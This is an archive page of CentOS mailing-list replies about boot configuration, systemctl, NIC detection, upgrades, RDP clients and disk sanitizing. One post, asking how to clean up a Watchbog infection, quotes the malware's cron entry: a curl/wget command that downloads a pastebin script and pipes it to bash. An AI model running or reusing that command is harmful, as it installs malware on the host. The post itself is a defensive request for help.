https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] The case of the missing /boot/grub2/grub.cfg in centos8

2019-12-27 Thread Mauricio Tavares
On Fri, Dec 27, 2019 at 7:04 AM Eddie O'Connor  wrote:
>
> Wouldn't a "find grub / find grub*"or "locate grub / locate grub*"
> work?...
>
  locate would require to install that package and run updatedb
first. But, it would save time looking for files that have been
already added to its db, specially compared to running find in a large
system.

> On Fri, Dec 27, 2019, 6:57 AM Peter  wrote:
>
> > On 27/12/19 7:36 pm, Nicolas Kovacs wrote:
> > > Le 27/12/2019 à 04:11, Mauricio Tavares a écrit :
> > >> Why is it not there?  FYI, I did try 'yum reinstall grub2' and no
> > >> /boot/grub2/grub.cfg for me.
> > >
> > > You're probably on an EFI system, and your grub.cfg is in a different
> > > location. Can't remember it off the top of my head, but do
> >
> > /etc/grub2-efi.cfg -> ../boot/efi/EFI/centos/grub.cfg
> >

  Right you are. I have to say sometimes I wonder if running EFI
in this system (200GB boot drive I am using 10G of it) makes sense.
With that said, if that is the case, why would the alias
/etc/grub2.cfg  still be created if it points to a non-existing file?
Wouldn't it make sense for it to just either not to be there at all or
point to the efi one? I can make arguments for both sides, but not for
a homeless alias.

On a side note, would it be a case where both
/boot/efi/EFI/centos/grub.cfg and /boot/grub2/grub.cfg are installed?


> >
> > Peter
> > ___
> > CentOS mailing list
> > CentOS@centos.org
> > https://lists.centos.org/mailman/listinfo/centos
> >
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS] The case of the missing /boot/grub2/grub.cfg in centos8

2019-12-26 Thread Mauricio Tavares
So I installed centos8. And I was looking for the grub config file:

[root@testbox ~]# ls -l /etc/grub2.cfg
lrwxrwxrwx. 1 root root 22 Oct  2 13:01 /etc/grub2.cfg -> ../boot/grub2/grub.cfg
[root@testbox ~]#

But

[root@testbox ~]# ls /boot/grub2/
grubenv
[root@testbox ~]#

Why is it not there?  FYI, I did try 'yum reinstall grub2' and no
/boot/grub2/grub.cfg for me.
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Problems installing CentOS 8

2019-12-24 Thread Mauricio Tavares
On Mon, Dec 23, 2019 at 8:20 PM Michael Eager  wrote:
>
> I'm having a problem installing CentOS 8 from a USB drive.  When the
> installer boots from the USB, it displays the language selection screen.
>   After I select English and continue, the installer freezes.  The USB
> drive flashes a couple times over the next minute or so, the stops.  The
> mouse moves the cursor, but the installer is unresponsive to either
> selecting QUIT or HELP.
>
> I've tried both the default and the basic graphic install with the same
> results.
>
  Stupid (as in I am guilty of that) question: do you know if this
USB is not a bum? The later explains why I could not my raspberry pi
booting. Replacing with a new sd card solved this issue.

If you want to be lazy and have a hypervisor, create an vm guest and
boot it using the usb.

With that said, it is possible that while you are having an
uncooperative gui you can still switch screens  (i.e. keyboard still
listening to you) to screen 1 or 2 and then take a look at the
dmesg/log output for clues of what went boink.


> Details:
> CentOS-8-x86-1905-dvd1.iso (sha256 verified)
> ASUS Prime B350 Plus motherboard
> AMD Ryzen 5 1600 CPU
> 32Gb DRAM
> 4 SATA drives in RAID/LVM configuration.
> M.2 500Gb Samsung SSD (not formatted)
>
> --
> Michael Eagerea...@eagerm.com
> 1960 Park Blvd., Palo Alto, CA 94306
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


[CentOS] systemctl behaves like it is being piped to less in centos 8?

2019-12-13 Thread Mauricio Tavares
Comparing the output of systemctl between centos 7 and 8:

[root@mail ~]# cat /etc/redhat-release
CentOS Linux release 7.7.1908 (Core)
[root@mail ~]# systemctl status firewalld
● firewalld.service - firewalld - dynamic firewall daemon
   Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled;
vendor preset: enabled)
   Active: active (running) since Fri 2019-10-25 00:24:24 UTC; 1
months 19 days ago
 Docs: man:firewalld(1)
 Main PID: 6578 (firewalld)
   CGroup: /system.slice/firewalld.service
   └─6578 /usr/bin/python2 -Es /usr/sbin/firewalld --nofork --nopid

Warning: Journal has been rotated since unit was started. Log output
is incomplete or unavailable.
[root@mail ~]#

So far so good. Don't know why it is complaining about log being
rotated but output looks readable. Now, let's grab a centos8 box:

[raub@vmhost2 ~]$ cat /etc/redhat-release
CentOS Linux release 8.0.1905 (Core)
[raub@vmhost2 ~]$ systemctl status firewalld
● firewalld.service - firewalld - dynamic firewall daemon
   Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; vendor p>
   Active: active (running) since Tue 2019-12-10 20:10:20 EST; 2 days ago
 Docs: man:firewalld(1)
 Main PID: 1031 (firewalld)
Tasks: 2 (limit: 26213)
   Memory: 33.5M
   CGroup: /system.slice/firewalld.service
   └─1031 /usr/libexec/platform-python -s /usr/sbin/firewalld --nofork >
lines 1-9/9 (END)

As you can see, it is trimming the output at the end of my terminal
window, which I do not care; there are options (-i I think) to make it
wrap around, but the line

lines 1-9/9 (END)

is what is annoying me. That seems to be what I would expect if I
piped it to less. I checked a fedora 31 and another centos 8 box and
am seeing the same behaviour. Am I missing something?
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Upgrade Centos 6 (32 Bits) to Centos 7 (32 Bits)

2019-11-27 Thread Mauricio Tavares
On Wed, Nov 27, 2019 at 9:18 AM Ger van Dijck  wrote:
>
> Hi all ,
>
>
>
>
> I have a very old PC ( Acer2000) 32 Bits. On this machine I am running (Do
> not laugh) SCO Unix in an antique version : So Centos6 probes with the
> bootloader on this OS and other OS s.
>
>
> Is there a way to opgrade Centos 6 to Centos 7 in the 32 Bits architecture
> ?
>
  As far as I know, you cannot upgrade as you would with ubuntu
but have to do a full install. 32 bit images for centos 7 are found at
http://isoredirect.centos.org/altarch/7/isos/i386/

> Any help would be usefull.
>
>
>
>
>
> Regards.
>
>
>
> Ger van Dijck.
> --
> Using Opera's mail client: http://www.opera.com/mail/
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] CentOS7 sometimes don't detect NIC after reboot

2019-09-17 Thread Mauricio Tavares
On Tue, Sep 17, 2019 at 9:55 AM Miroslav Geisselreiter  wrote:
>
> Dne 17.9.2019 v 15:25 Mauricio Tavares napsal(a):
> > On Tue, Sep 17, 2019 at 9:11 AM Miroslav Geisselreiter  
> > wrote:
> >> Dne 17.9.2019 v 14:02 Mauricio Tavares napsal(a):
> >>> On Tue, Sep 17, 2019 at 7:06 AM Miroslav Geisselreiter  
> >>> wrote:
> >>>> I have brand new PC with this components:
> >>>> CPU Intel® Pentium G5400, LGA1151
> >>>> motherboard ASUS PRIME B360M-C
> >>>> 16 GB RAM
> >>>> HDD 2x ADATA SSD 256GB XPG GAMMIX S11, PCIe Gen3x4 M.2 2280 (RAID1)
> >>>> NIC Intel X550-T1 Ethernet Converged Network Adapter
> >>>>
> >>>> I installed CentOS 7 and two NICs were detected:
> >>>> eno1 (on motherboard)
> >>>> enp1s0 (Intel X550-T1)
> >>>>
> >>>> When I restart the machine sometimes enp1s0 is missing. It is not
> >>>> detected during boot. It looks like NIC card is not installed / not
> >>>> present. After next reboot everything is fine and I do not see any
> >>>> problems with NIC card.
> >>>>
> >>>> How can I avoid this problem with missing NIC? Can you help me, please?
> >>>>
> >>> Nothing exciting on dmesg? Did you check the pci chain to see if
> >>> it is being reported as there?
> >>>
> >> I do not know what you mean "check the pci chain". My knowledge of
> >> kernel level is weak, sorry. What else can I do?
> >>
> >The "checking the pci chain" argument is that sometimes the card
> > is there but is cheerfully ignored. From
> >
> >> [1.720556] ixgbe :01:00.0: irq 138 for MSI/MSI-X
> > You know that it is in bus 1 slot 0, so try something like
> >
> > lspci -s 01:00.0 -v
> >
> > to see if it reports something there. Just in the odd case the pci
> > side of your computer knows there is a card there but the kernel can't
> > be bothered (flaky driver?). I am probably not using the right
> > terminology, and clearly expect someone to set me right, I've had
> > network cards that would show in the pci chain but not in dmesg. Other
> > thing you want to think about is that I've had cards that only worked
> > if were inserted in a specific slot for no reason whatsoever.
> >
> Thank you Mauricio and Mark for fast response.
> lspci -s 01:00.0 -v
> 01:00.0 Ethernet controller: Intel Corporation Ethernet Controller 10G
> X550T (rev 01)
>  Subsystem: Intel Corporation Ethernet Converged Network Adapter
> X550-T1
>  Flags: bus master, fast devsel, latency 0, IRQ 16
>  Memory at a000 (64-bit, prefetchable) [size=2M]
>  Memory at a020 (64-bit, prefetchable) [size=16K]
>  Expansion ROM at a230 [disabled] [size=512K]
>  Capabilities: [40] Power Management version 3
>  Capabilities: [50] MSI: Enable- Count=1/1 Maskable+ 64bit+
>  Capabilities: [70] MSI-X: Enable+ Count=64 Masked-
>  Capabilities: [a0] Express Endpoint, MSI 00
>  Capabilities: [100] Advanced Error Reporting
>  Capabilities: [140] Device Serial Number 9f-f8-46-ff-ff-28-00-00
>  Capabilities: [150] Alternative Routing-ID Interpretation (ARI)
>  Capabilities: [160] Single Root I/O Virtualization (SR-IOV)
>  Capabilities: [1a0] Transaction Processing Hints
>  Capabilities: [1b0] Access Control Services
>  Capabilities: [1c0] Latency Tolerance Reporting
>  Capabilities: [1d0] #19
>  Kernel driver in use: ixgbe
>  Kernel modules: ixgbe
>
> I will check again after reboot and as Mark recommend I will reseat the
> card. I will check BIOS too. As this is production machine I cannot do
> that now. I am going to buy another cheaper 1 Gb Intel card for testing
> purposes. I will report my results later.
>
  If lspci *always* show card, check the kernel module.

> Miroslav
>
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] CentOS7 sometimes don't detect NIC after reboot

2019-09-17 Thread Mauricio Tavares
On Tue, Sep 17, 2019 at 9:11 AM Miroslav Geisselreiter  wrote:
>
> Dne 17.9.2019 v 14:02 Mauricio Tavares napsal(a):
> > On Tue, Sep 17, 2019 at 7:06 AM Miroslav Geisselreiter  
> > wrote:
> >> I have brand new PC with this components:
> >> CPU Intel® Pentium G5400, LGA1151
> >> motherboard ASUS PRIME B360M-C
> >> 16 GB RAM
> >> HDD 2x ADATA SSD 256GB XPG GAMMIX S11, PCIe Gen3x4 M.2 2280 (RAID1)
> >> NIC Intel X550-T1 Ethernet Converged Network Adapter
> >>
> >> I installed CentOS 7 and two NICs were detected:
> >> eno1 (on motherboard)
> >> enp1s0 (Intel X550-T1)
> >>
> >> When I restart the machine sometimes enp1s0 is missing. It is not
> >> detected during boot. It looks like NIC card is not installed / not
> >> present. After next reboot everything is fine and I do not see any
> >> problems with NIC card.
> >>
> >> How can I avoid this problem with missing NIC? Can you help me, please?
> >>
> >Nothing exciting on dmesg? Did you check the pci chain to see if
> > it is being reported as there?
> >
>  From /var/log/dmesg, when NIC is detected and working:
> grep ixgbe dmesg
> [0.999078] ixgbe: Intel(R) 10 Gigabit PCI Express Network Driver -
> version 5.1.0-k-rh7.6
> [0.999081] ixgbe: Copyright (c) 1999-2016 Intel Corporation.
> [1.720556] ixgbe :01:00.0: irq 138 for MSI/MSI-X
> [1.720563] ixgbe :01:00.0: irq 139 for MSI/MSI-X
> [1.720568] ixgbe :01:00.0: irq 140 for MSI/MSI-X
> [1.720573] ixgbe :01:00.0: irq 141 for MSI/MSI-X
> [1.720578] ixgbe :01:00.0: irq 142 for MSI/MSI-X
> [1.720602] ixgbe :01:00.0: Multiqueue Enabled: Rx Queue count =
> 4, Tx Queue count = 4 XDP Queue count = 0
> [1.821743] ixgbe :01:00.0: PCI Express bandwidth of 32GT/s available
> [1.821754] ixgbe :01:00.0: (Speed:8.0GT/s, Width: x4, Encoding
> Loss:N/a)
> [1.933432] ixgbe :01:00.0: MAC: 4, PHY: 0, PBA No: H92506-004
> [1.933434] ixgbe :01:00.0: a0:36:9f:f8:46:28
> [2.093020] ixgbe :01:00.0: Intel(R) 10 Gigabit Network Connection
>
> When NIC is not detected, there is no ixgbe message in dmesg.
>
> I can list irq from dmesg (with NIC detected) and dmesg.old (NIS is not
> tedected)
> grep irq dmesg
> [0.00] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
> [0.00] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
> [0.00] NR_IRQS:327936 nr_irqs:1024 0
> [0.531915] pcieport :00:01.0: irq 120 for MSI/MSI-X
> [0.532038] pcieport :00:1b.0: irq 121 for MSI/MSI-X
> [0.532309] pcieport :00:1c.5: irq 122 for MSI/MSI-X
> [0.532534] pcieport :00:1d.0: irq 123 for MSI/MSI-X
> [0.604204] 00:05: ttyS0 at I/O 0x3f8 (irq = 4) is a 16550A
> [0.625761] 00:06: ttyS1 at I/O 0x2f8 (irq = 3) is a 16550A
> [0.628502] xhci_hcd :00:14.0: irq 124 for MSI/MSI-X
> [0.630583] i8042: PNP: PS/2 Controller [PNP0303:PS2K,PNP0f03:PS2M]
> at 0x60,0x64 irq 1,12
> [0.634280] serio: i8042 KBD port at 0x60,0x64 irq 1
> [0.634284] serio: i8042 AUX port at 0x60,0x64 irq 12
> [0.635917] rtc_cmos rtc_cmos: alarms up to one month, y3k, 114 bytes
> nvram, hpet irqs
> [1.027014] e1000e :00:1f.6: irq 125 for MSI/MSI-X
> [1.028089] nvme :02:00.0: irq 126 for MSI/MSI-X
> [1.029367] nvme :06:00.0: irq 127 for MSI/MSI-X
> [1.130027] nvme :02:00.0: irq 126 for MSI/MSI-X
> [1.130033] nvme :02:00.0: irq 128 for MSI/MSI-X
> [1.130038] nvme :02:00.0: irq 129 for MSI/MSI-X
> [1.130041] nvme :02:00.0: irq 130 for MSI/MSI-X
> [1.130045] nvme :02:00.0: irq 131 for MSI/MSI-X
> [1.233841] nvme :06:00.0: irq 127 for MSI/MSI-X
> [1.233846] nvme :06:00.0: irq 132 for MSI/MSI-X
> [1.233851] nvme :06:00.0: irq 133 for MSI/MSI-X
> [1.233855] nvme :06:00.0: irq 134 for MSI/MSI-X
> [1.233858] nvme :06:00.0: irq 135 for MSI/MSI-X
> [1.378373] ahci :00:17.0: irq 136 for MSI/MSI-X
> [1.433203] ata1: SATA max UDMA/133 abar m2048@0xa2439000 port
> 0xa2439100 irq 136
> [1.433214] ata2: SATA max UDMA/133 abar m2048@0xa2439000 port
> 0xa2439180 irq 136
> [1.433226] ata3: SATA max UDMA/133 abar m2048@0xa2439000 port
> 0xa2439200 irq 136
> [1.433238] ata4: SATA max UDMA/133 abar m2048@0xa2439000 port
> 0xa2439280 irq 136
> [1.433250] ata5: SATA max UDMA/133 abar m2048@0xa2439000 port
> 0xa2439300 irq 136
> [1.433262] ata6: SATA max UDMA/133 abar m2048@0xa2439000 port
> 0xa2439380 irq 136
> [1.438562] i915 :00:02.0: irq 137 for MSI/MSI-X
> [1.720556] ixgbe :

Re: [CentOS] CentOS7 sometimes don't detect NIC after reboot

2019-09-17 Thread Mauricio Tavares
On Tue, Sep 17, 2019 at 7:06 AM Miroslav Geisselreiter  wrote:
>
> I have brand new PC with this components:
> CPU Intel® Pentium G5400, LGA1151
> motherboard ASUS PRIME B360M-C
> 16 GB RAM
> HDD 2x ADATA SSD 256GB XPG GAMMIX S11, PCIe Gen3x4 M.2 2280 (RAID1)
> NIC Intel X550-T1 Ethernet Converged Network Adapter
>
> I installed CentOS 7 and two NICs were detected:
> eno1 (on motherboard)
> enp1s0 (Intel X550-T1)
>
> When I restart the machine sometimes enp1s0 is missing. It is not
> detected during boot. It looks like NIC card is not installed / not
> present. After next reboot everything is fine and I do not see any
> problems with NIC card.
>
> How can I avoid this problem with missing NIC? Can you help me, please?
>
  Nothing exciting on dmesg? Did you check the pci chain to see if
it is being reported as there?

> Miroslav Geisselreiter
>
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Vulnerabilities to bind-libs bind-utils - possible to remove these on webservers

2019-06-24 Thread Mauricio Tavares
On Mon, Jun 24, 2019 at 9:07 AM Peda, Allan (NYC-GIS)
 wrote:
>
> I think the subject says it all.  We don't run named.  It seems there are 
> chronic issues with bind.  Can these packages be removed?
>
> We locally authenticate. I see this:
>
> Removing for dependencies:
>  bind-utils
>  ipa-client
>  sssd
>  sssd-ad
>  sssd-ipa
>
> We shouldn't need any of that with local authentication (/etc passwd and 
> /etc/shadow) right?
>
  Which packages installed them as dependencies?
>
> This message contains information which may be confidential and privileged. 
> Unless you are the intended recipient (or authorized to receive this message 
> for the intended recipient), you may not use, copy, disseminate or disclose 
> to anyone the message or any information contained in the message.  If you 
> have received the message in error, please advise the sender by reply e-mail, 
> and delete the message.  Thank you very much.
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Are linux distros redundant?

2019-04-24 Thread Mauricio Tavares
On Wed, Apr 24, 2019 at 9:32 AM Andrew Holway  wrote:
>
> > What OS are your k8s clusters running on?  How about your cloud
> > providers?  Mine are on RHEL and CentOS.
> >
>
> I don't know. We use fully managed services from Google. I think its coreOS.
>
  Some of us build the infrastructure others use, which is what
Google does. That includes having baremetal servers people can access
(reserve, tell it which OS to install) to develop code for PCI devices
which will later be used by the Google and Amazons which will then
abstract them to their users.

If you are working at the kubernetes level, you could not care less
about whether a given NIC works or is giving the maximum performance;
you do not even care about which NIC is being used.

It is all about what you do.

>
> > --
> > Jonathan Billings 
> > ___
> > CentOS mailing list
> > CentOS@centos.org
> > https://lists.centos.org/mailman/listinfo/centos
> >
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS-es] Ataque a una cuenta de emal

2019-01-31 Thread Mauricio Tapia
Hola los correos te van a seguir llegando, El servidor respondera que es a
cuenta no existe etc... deberas esperar un tiempo ... si tienes iptables
puedes ir creando reglas de bloqueo a la S ip origen del correo antes que
lleguen a sendmail ... otra opcion es instalar fail2ban nunca esta demas ...

Saludos y suerte

On Wed, Jan 30, 2019, 8:45 PM VICTOR MANUEL VARGAS GONZALEZ <
victor...@hotmail.com wrote:

> Buenas Tardes
> un favor tengo un problema un equipo tenia virus el cual ya lo elimine de
> hecho di de baja del servidor la cuenta del emial pero me siguen llegando
> pura basura de esta cuenta y elimine las carpetas del usuarios , tuve que
> poner la cuenta para que se rechace loe mail que están llegando en
> etc/mail/Access ya no se que hacer
>
> mi servidor es centos 6 y lo tengo con sendmail y MailScanner
>
> Jan 30 17:47:06 mail sendmail[24060]: x0UNl2l5024060: from=<
> jpcab...@grecargo.com.mx>, size=0, class=0, nrcpts=0, proto=ESMTP,
> daemon=MTA, relay=reverso-45-233-245-12.sounetmais.net.br [45.233.245.12]
> (may be forged)
> Jan 30 17:47:06 mail sendmail[24060]: x0UNl2l6024060: ruleset=check_mail,
> arg1=, relay=
> reverso-45-233-245-12.sounetmais.net.br [45.233.245.12] (may be forged),
> reject=550 5.7.1 ... Access denied
> Jan 30 17:47:07 mail sendmail[24060]: x0UNl2l6024060: from=<
> jpcab...@grecargo.com.mx>, size=0, class=0, nrcpts=0, proto=ESMTP,
> daemon=MTA, relay=reverso-45-233-245-12.sounetmais.net.br [45.233.245.12]
> (may be forged)
> Jan 30 17:47:08 mail sendmail[24060]: x0UNl2l7024060: ruleset=check_mail,
> arg1=, relay=
> reverso-45-233-245-12.sounetmais.net.br [45.233.245.12] (may be forged),
> reject=550 5.7.1 ... Access denied
> Jan 30 17:47:08 mail sendmail[24060]: x0UNl2l7024060: from=<
> jpcab...@grecargo.com.mx>, size=0, class=0, nrcpts=0, proto=ESMTP,
> daemon=MTA, relay=reverso-45-233-245-12.sounetmais.net.br [45.233.245.12]
> (may be forged)
> Jan 30 17:47:09 mail sendmail[24060]: x0UNl2l8024060: ruleset=check_mail,
> arg1=, relay=
> reverso-45-233-245-12.sounetmais.net.br [45.233.245.12] (may be forged),
> reject=550 5.7.1 ... Access denied
> Jan 30 17:47:09 mail sendmail[24060]: x0UNl2l8024060: from=<
> jpcab...@grecargo.com.mx>, size=0, class=0, nrcpts=0, proto=ESMTP,
> daemon=MTA, relay=reverso-45-233-245-12.sounetmais.net.br [45.233.245.12]
> (may be forged)
> Jan 30 17:47:10 mail sendmail[24067]: STARTTLS=server, relay=
> indri.birch.relay.mailchannels.net [23.83.209.92], version=TLSv1/SSLv3,
> verify=NO, cipher=DHE-RSA-AES256-GCM-SHA384, bits=256/256
> Jan 30 17:47:10 mail sendmail[24060]: x0UNl2l9024060: ruleset=check_mail,
> arg1=, relay=
> reverso-45-233-245-12.sounetmais.net.br [45.233.245.12] (may be forged),
> reject=550 5.7.1 ... Access denied
> Jan 30 17:47:11 mail sendmail[24067]: x0UNl9lw024067: from=<
> mariel...@corporativogab.com.mx>, size=15901, class=0, nrcpts=3,
> msgid=<015801d4b8f5$a8051270$f80f3750$@corporativogab.com.mx>,
> proto=ESMTP, daemon=MTA, relay=indri.birch.relay.mailchannels.net
> [23.83.209.92]
> Jan 30 17:47:12 mail sendmail[24060]: x0UNl2l9024060: from=<
> jpcab...@grecargo.com.mx>, size=0, class=0, nrcpts=0, proto=ESMTP,
> daemon=MTA, relay=reverso-45-233-245-12.sounetmais.net.br [45.233.245.12]
> (may be forged)
> Jan 30 17:47:13 mail MailScanner[19246]: New Batch: Scanning 1 messages,
> 16719 bytes
> Jan 30 17:47:13 mail MailScanner[19246]: Virus and Content Scanning:
> Starting
> Jan 30 17:47:13 mail sendmail[24070]: AUTH=server, relay=
> 31.25.140.220.tarinnet.info [31.25.140.220] (may be forged),
> authid=jpcabeza, mech=CRAM-MD5, bits=0
> Jan 30 17:47:13 mail MailScanner[19246]: Uninfected: Delivered 1 messages
>
>
>
>
> ___
> CentOS-es mailing list
> CentOS-es@centos.org
> https://lists.centos.org/mailman/listinfo/centos-es
>
___
CentOS-es mailing list
CentOS-es@centos.org
https://lists.centos.org/mailman/listinfo/centos-es


Re: [CentOS] CentOS 7.5 Linux box got infected with Watchbog malware

2018-12-17 Thread Mauricio Tavares
On Sat, Dec 15, 2018 at 12:40 PM Kaushal Shriyan
 wrote:
>
> Hi,
>
> Is there a way to find out how the CentOS 7.5 Linux box got infected with
> malware?
> Currently i am referring to
> http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareransomware.html
> to carry out the below steps and is done manually.
>
> 1)rm -fr /tmp/*timesyncc.service*
> 2)crontab -e -u apigee
> delete the cron entry
> */1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O-
> https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1
> 3)ps aux | grep watchbog
> kill -9 pidof watchbog
>
> Any suggestions or recommendations to find out how CentOS 7.5 Linux box got
> infected with Watchbog Malware. Is there any open source software which can

  do you have untampered log files?

> be installed on CentOS 7.5 Linux box to detect and prevent Malware?
>
> Thanks in Advance.
>
> Best Regards,
>
> Kaushal
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] off-topic question about RDP to Win-10

2018-11-12 Thread Mauricio Tavares
Not the answer you want but xfreerdp has worked for me where rdesktop
no longer does (I take because of the new security settings)

xfreerdp /bpp:16 /size:1200x720 /u:"raubvogel" /v:hostname:port
On Mon, Nov 12, 2018 at 5:11 AM  wrote:
>
> On Sun, 11 Nov 2018, Fred Smith wrote:
>
> > I have a win10 VM in virtualbox on my Linux (C7) desktop. I CAN connect
> > to it with rdesktop 1.8.3 (now rather old, but it's the latest release),
> > but cannot connect with remmina or krdc. Both of them just hang for a
> > while then say they can't connect.
> >
> > Curiously, they all will connect to the win10 box in my office.
> >
> > They don't show any other useful information, and I don't know where
> > to go to figure this out. Anyone out there have any ideas they can share?
>
> In the advanced tab of remmina, make sure security is set to TLS. IIRC it
> defaults to negotiate which does not work.
>
> I had this same problem with win-10.
>
> FWIW, After some updates were installed on my win-7 vm's they suddenly stopped
> connecting with remmina. Switching the security to TLS fixed the problem.
>
> HTH,
>
> --
> Tom m...@tdiehl.org
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Seagate - experience/opinion on vendor?

2018-09-26 Thread Mauricio Tavares
On Wed, Sep 26, 2018 at 3:37 PM, lejeczek via CentOS  wrote:
>
>
> On 26/09/18 20:19, Mauricio Tavares wrote:
>>
>> If ti makes you feel any better, I am not having stellar service from
>> WD's support. In fact, they act like they never received the HD I sent
>> for RMA whose tracking number says they did 10 days ago.
>>
>> On Wed, Sep 26, 2018 at 2:16 PM, lejeczek via CentOS 
>> wrote:
>>>
>>> hi guys
>>>
>>> I have rather a large set of Seagate's SAS ST32000444SS, over a hundred -
>>> experience I'm having from those in conjunction with their tech support
>>> is
>>> abysmal.
>>>
>>> I'm trying to update firmware of these drives and nothing works,
>>> including
>>> tech support.
>>>
>>> ... and I cannot help but wonder - is just me who is so unlucky and
>>> getting
>>> very, very poor support(taking naturally only of Linux) or in fact
>>> Seagate
>>> are rubbish!
>>>
>>> Care to share your say?
>>>
>>> thanks, L.
>>>
>>> ___
>>> CentOS mailing list
>>> CentOS@centos.org
>>> https://lists.centos.org/mailman/listinfo/centos
>
> what seems really really bad, is that none of the tools their tech support
> suggest works, at least for me.
> You would think that simple thing such as firmware update should be really a
> piece of cake, but it seems that Seagate too, is rubbish when it come to
> Linux.
> One would think Seagate should not that mistake but, yet again, yet another
> business which does not like Linux customers.
>
  I do not think it is malice but just plain ignorance or the
famous "if it works, don't fix it" principle. Remember that even today
you can buy cars with without rear disk brakes. With that said, I
thought Seagate had a .iso to deploy the firmware. I could be wrong
though.

> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Seagate - experience/opinion on vendor?

2018-09-26 Thread Mauricio Tavares
If ti makes you feel any better, I am not having stellar service from
WD's support. In fact, they act like they never received the HD I sent
for RMA whose tracking number says they did 10 days ago.

On Wed, Sep 26, 2018 at 2:16 PM, lejeczek via CentOS  wrote:
> hi guys
>
> I have rather a large set of Seagate's SAS ST32000444SS, over a hundred -
> experience I'm having from those in conjunction with their tech support is
> abysmal.
>
> I'm trying to update firmware of these drives and nothing works, including
> tech support.
>
> ... and I cannot help but wonder - is just me who is so unlucky and getting
> very, very poor support(taking naturally only of Linux) or in fact Seagate
> are rubbish!
>
> Care to share your say?
>
> thanks, L.
>
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] OT: hardware: sanitizing a dead SSD?

2018-05-09 Thread Mauricio Tavares
On Wed, May 9, 2018 at 9:46 AM, Stephen John Smoogen  wrote:
> On 9 May 2018 at 07:18, Pete Biggs  wrote:
>> On Wed, 2018-05-09 at 13:00 +0200, Leon Fauster wrote:
>>> > Am 08.05.2018 um 21:46 schrieb Stephen John Smoogen :
>>> >
>>> > On 8 May 2018 at 15:34,   wrote:
>>> > > Anyone have any clues about how to sanitize a dead SSD? We haven't had 
>>> > > it
>>> > > yet, but we're sure it's coming. Esp. since I'm a federal contractor, a
>>> > > dead disk gets deGaussed, but what the hell do you do with a SSD?
>>> > >
>>> >
>>> > SSD disks must be shredded as the data has been written over multiple
>>> > sectors many times to 'even the writes'. This allows for even a 'dead'
>>> > disk to be disassembled with 'off-the-shelf' equipment to extract
>>> > items from the dead places. Depending on the data involved, there may
>>> > be different levels of shredding and destruction of shreds required.
>>>
>>>
>>> What would someone use to do this? An industrial blender, circular saw ...?
>>>
>>
>> https://www.youtube.com/watch?v=aE8kwu3dm3o
>>
>> https://www.youtube.com/watch?v=YqW4djlQUoE
>>
>
> Yes. Depending on the data type, the 'dust' at the other end may need
> to be ground through another machine so that all parts are less than
> some specified size ( I think it was below 0.5 cm x 0.5 cm x0.5cm.)
> Then again depending on the data type, those bits are poured into
> concrete or taken to a specialized chemical incinerator.
>

  Depending on your location, have you considered volcano? =)

>> P.
>>
>>
>> ___
>> CentOS mailing list
>> CentOS@centos.org
>> https://lists.centos.org/mailman/listinfo/centos
>
>
>
> --
> Stephen J Smoogen.
> ___
> CentOS mailing list
> CentOS@centos.org
> https://lists.centos.org/mailman/listinfo/centos
___
CentOS mailing list
CentOS@centos.org
https://lists.centos.org/mailman/listinfo/centos


Re: [CentOS] Vmware - Slightly off topic

2018-04-24 Thread Mauricio Tavares
On Tue, Apr 24, 2018 at 11:20 PM, Jack Bailey  wrote:
>>> What is the correct way to provide a CentOS 7 - WMware image for ESX ?
>>
>>
>> You are probably looking for VMware Converter which can p2v or v2v.
>>
>> IMO: if you are creating a VM image which is a binary blob or image then
>> you are doing it wrong. Have the VM/server/desktop be a simple
>> next/next/next install and the incorporate a config management tool
>> (puppet/ansible/etc) to make it the way you like it. VM-as-code if you
>> will. This results in a reproducible thing instead of an unmanageable
>> thing.
>
>
> I'm doing this sort of thing, and frankly, VMware Converter would be my last
> choice.
>
> One project uses packer, the other, a combination of shell scripts,
